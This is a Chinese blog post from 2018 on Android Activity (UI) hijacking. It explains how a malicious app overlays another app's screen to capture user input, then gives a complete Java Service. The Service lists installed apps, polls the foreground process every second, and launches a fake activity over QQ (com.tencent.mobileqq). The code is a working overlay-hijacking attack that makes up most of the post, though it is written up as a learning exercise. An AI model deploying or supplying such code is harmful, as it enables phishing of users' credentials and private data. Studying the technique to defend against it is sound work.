模拟Android界面劫持

Android中最常见的攻击手段

Posted by Toeii on October 28, 2018

前言

今天一款小众的搜图app上找一点图片资源,突然页面就弹出了一个全屏的“菠菜”广告页,刚开始还在纳闷这是什么需求这么硬核,后来才反应过来应该是界面被劫持了。出于好奇心,自己也研究一下。在这里记录与分享

介绍

什么是Activity劫持?一般情况下分为两种:

第一种是,手机里面安装了恶意程序,恶意程序会注册一个Receiver,响应android.intent.action.BOOT_COMPLETED事件,这个Service会启动一个定时器,不停的循环查询当前运行的进程。一旦当前的进程正是我们要劫持的,并运行在前台,立马使用FLAG_ACTIVITY_NEW_TASK启动自己的恶意应用界面处于栈顶,用户看到的就是恶意应用的界面,获取用户输入的隐私信息,并发送到服务器。

第二种是,Android中启动一个Activity常用的方法是startActivity。startActivity的参数时Intent,这个Intent有两种设置方式 1,通过设置action,系统找到接收该action的Activity,然后启动 2,明确指定要启动的Activity所在的包和Activity的对应的类名。

当一个应用程序通过action来启动某个Activity时,另一个恶意应用可以创建一个同样的action来接收Activity。在Android应用中,如果存在多个Activity接收同一个action,那么就会提供一个选择列表让用户进行选择。一旦用户选错了,就进入了恶意程序的界面,当用户输入隐私信息,有可能被恶意程序将数据发送给服务器,导致用户信息泄露。

实现思路

在Service中开启一个定时任务,并且不断的获取进程数据。匹配到想要劫持的进程时,打开新的页面劫持该App。

下面是代码实现:

public class HijackingService extends Service {
    @Nullable
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    private boolean hasStart = false;
    //劫持列表
    HashMap<String, Class<?>> classStores = new HashMap<>();
    Handler handler = new Handler();
    Runnable mTask = new Runnable() {
        @Override
        public void run() {
            hijackPackage(getApplication());
            handler.postDelayed(mTask, 1000);
        }
    };

    @Override
    public void onCreate() {
        super.onCreate();
        //获取所有已安装应用 package 信息
        getItems(getApplication());
    }

    @Override
    public void onStart(Intent intent, int startId) {
        super.onStart(intent, startId);
        Log.w("hijacking", "劫持服务开启");
        if (!hasStart){
            //添加想要劫持的应用
            classStores.put("com.tencent.mobileqq", QQActivity.class);
            handler.postDelayed(mTask, 1000);
            Log.w("hijacking", "定时劫持任务开始执行");
            hasStart = true;
        }

    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        Log.w("hijacking", "劫持服务停止");
        hasStart = false;
        HijackingApplication.clearProgressHijacked();
        handler.removeCallbacks(mTask);
        Log.w("hijacking", "定时劫持任务停止");
    }

    //获取已安装的应用信息
    public ArrayList<HashMap<String, Object>> getItems(Context context) {
        PackageManager pckMan = context.getPackageManager();
        ArrayList<HashMap<String, Object>> items = new ArrayList<HashMap<String, Object>>();
        List<PackageInfo> packageInfo = pckMan.getInstalledPackages(0);
        Log.w("hijacking", "------------打印已安装应用信息-----------------");
        for (PackageInfo pInfo : packageInfo) {
            HashMap<String, Object> item = new HashMap<String, Object>();
            Log.w("hijacking", "-----------------------------");
            item.put("appimage", pInfo.applicationInfo.loadIcon(pckMan));
            Log.w("hijacking", "appimage-->"+pInfo.applicationInfo.loadIcon(pckMan));

            item.put("packageName", pInfo.packageName);
            Log.w("hijacking", "packageName-->"+pInfo.packageName);

            item.put("versionCode", pInfo.versionCode);
            Log.w("hijacking", "versionCode-->"+pInfo.versionCode);

            item.put("versionName", pInfo.versionName);
            Log.w("hijacking", "versionName-->"+pInfo.versionName);

            item.put("appName", pInfo.applicationInfo.loadLabel(pckMan).toString());
            Log.w("hijacking", "appName-->"+pInfo.applicationInfo.loadLabel(pckMan).toString());
            Log.w("hijacking", "-----------------------------");
            items.add(item);
        }
        Log.w("hijacking", "-------------打印已安装应用信息完毕----------------");

        return items;
    }

    private void hijackPackage(Context context){
        //获取一个在前台运行应用的 List
        List<AndroidAppProcess> runningForegroundApps = AndroidProcesses.getRunningForegroundApps(context);
        if (runningForegroundApps.size() > 0) {

            Log.w("hijacking", "正在劫持");

            for (AndroidAppProcess androidAppProcess : runningForegroundApps){
                String packageStr = androidAppProcess.getPackageName();
                //如果已经劫持过当前应用,则不继续劫持
                if (!HijackingApplication.hasProgressBeHijacked(packageStr)){
                    //前台运行的应用是否在劫持列表中
                    if (classStores.containsKey(packageStr)){
                        //已经劫持过应用添加到 HijackingApplication
                        HijackingApplication.addProgressHijacked(packageStr);
                        Log.w("hijacking", "已经劫持-->"+packageStr);

                        Intent jackingIsComing = new Intent(getBaseContext(), classStores.get(packageStr));
                        jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                        getApplication().startActivity(jackingIsComing);
                        break;
                    }
                }
            }

            Log.w("hijacking", "一次劫持结束");

        }
    }
}